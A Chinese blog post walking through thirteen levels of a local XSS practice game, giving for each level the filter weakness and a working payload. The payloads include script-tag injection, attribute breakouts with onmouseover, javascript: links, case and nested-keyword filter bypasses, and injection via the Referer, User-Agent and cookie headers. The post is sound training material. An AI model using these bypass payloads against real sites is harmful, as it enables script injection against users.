写点什么

XSS 练习小游戏和答案参考

作者:喀拉峻
  • 2022 年 2 月 27 日
  • 本文字数:1277 字

    阅读完需:约 4 分钟

源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip

感谢源码作者提供了这样的环境。

我自己在本地虚拟机的路径,http://127.0.0.1/xss/ 打开后提示点击图片,进入第一关。

第一关:输入的变量直接被输出,直接构造 payload 即可。

http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>

http://127.0.0.1/xss/level1.php?name=test‘<script>alert(1)</script>


第二关:搜索框的 XSS,输入的变量直接输出到 input 标签内,闭合 input 标签,构造 XSS,备注:echo 语句输出到页面时使用了 htmlspecialchars 函数。


payload:

http://127.0.0.1/xss/level2.php?keyword=test"><script>alert(1)</script>

第三关:输入的变量被 htmlspecialchars 函数处理了,这个函数处理的字符有< > " ,没有处理单引号,因此利用单引号构造 payload,先通过单引号闭合 value

http://127.0.0.1/xss/level3.php?keyword='onmouseover='alert(1)'


第四关:大于号 小于号 被过滤了,构造不包含这两个符号的 payload,value 的值与第三关有所差异,这里需要使用双引号用于闭合 value 标签

http://127.0.0.1/xss/level4.php?keyword=test"onmouseover='alert(1)'


第五关:<script 和 on 被替换了,构造不含这两个的 payload

127.0.0.1/xss/level5.php?keyword=find a way out!1"><a href="javascript:alert(1)">


第六关:比第五关过滤的东西更多,包括了 src data href ,可以把这些关键字大写,以绕过这些过滤,payload

http://127.0.0.1/xss/level6.php?keyword=break it out!1"><SCRIPT>alert(1)</script>



第七关:增加 strtolower 函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用<scriscritpt>,中间的 script 变成了空格,正好变成了<script>

127.0.0.1/xss/level7.php?keyword=move up!1"><scriscriptpt>alert(1)</scriscriptpt>


第八关:input 中输入的变量通过 htmlspecialchars 被处理了,且双引号被替换成空,无法通过双引号闭合 value。这里的输入被添加至超链接中,直接构造 payload:javascript,对其中的字母进行实体编码

搜索框中输入 javascript:alert(1) 点击添加到友情链接,点击链接

第九关:上一关的基础上,判断输入的链接是否包含 http://,因为用的是 strpos 函数,没有限制必须是开始的位置,所以在上一关的基础上,修改 payload 为 javascript:alert('http://')

第十关:keyword 变量没办法构造 payload,发现隐藏变量 t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的 payload,类型改为 text,具体如下:

http://127.0.0.1/xss/level10.php?t_sort="onmouseover='alert(1)'type="text"

第十一关: 查看源码: 可以看到 t_ref 的 value 是我们访问这个网页的 referer 值,故可以抓包修改 referer,在 referer 后加入” onmouseover='alert(1)' type="text"。

第十二关:查看源码,$str33 最初是由 HTTP_USER_AGENT 过滤< > 而来,修改 User-Agent,在后面加上" onmouseover='alert(1)' type="text"。

第十三关:同上,查看源码,$str33 最初是由 cookie 过滤< > 而来,修改 cookie,在后面加上" onmouseover='alert(1)' type="text"。

用户头像

喀拉峻

关注

左手Java右手Python,中间纹个C++ 2021.06.26 加入

还未添加个人简介

评论

发布
暂无评论
XSS练习小游戏和答案参考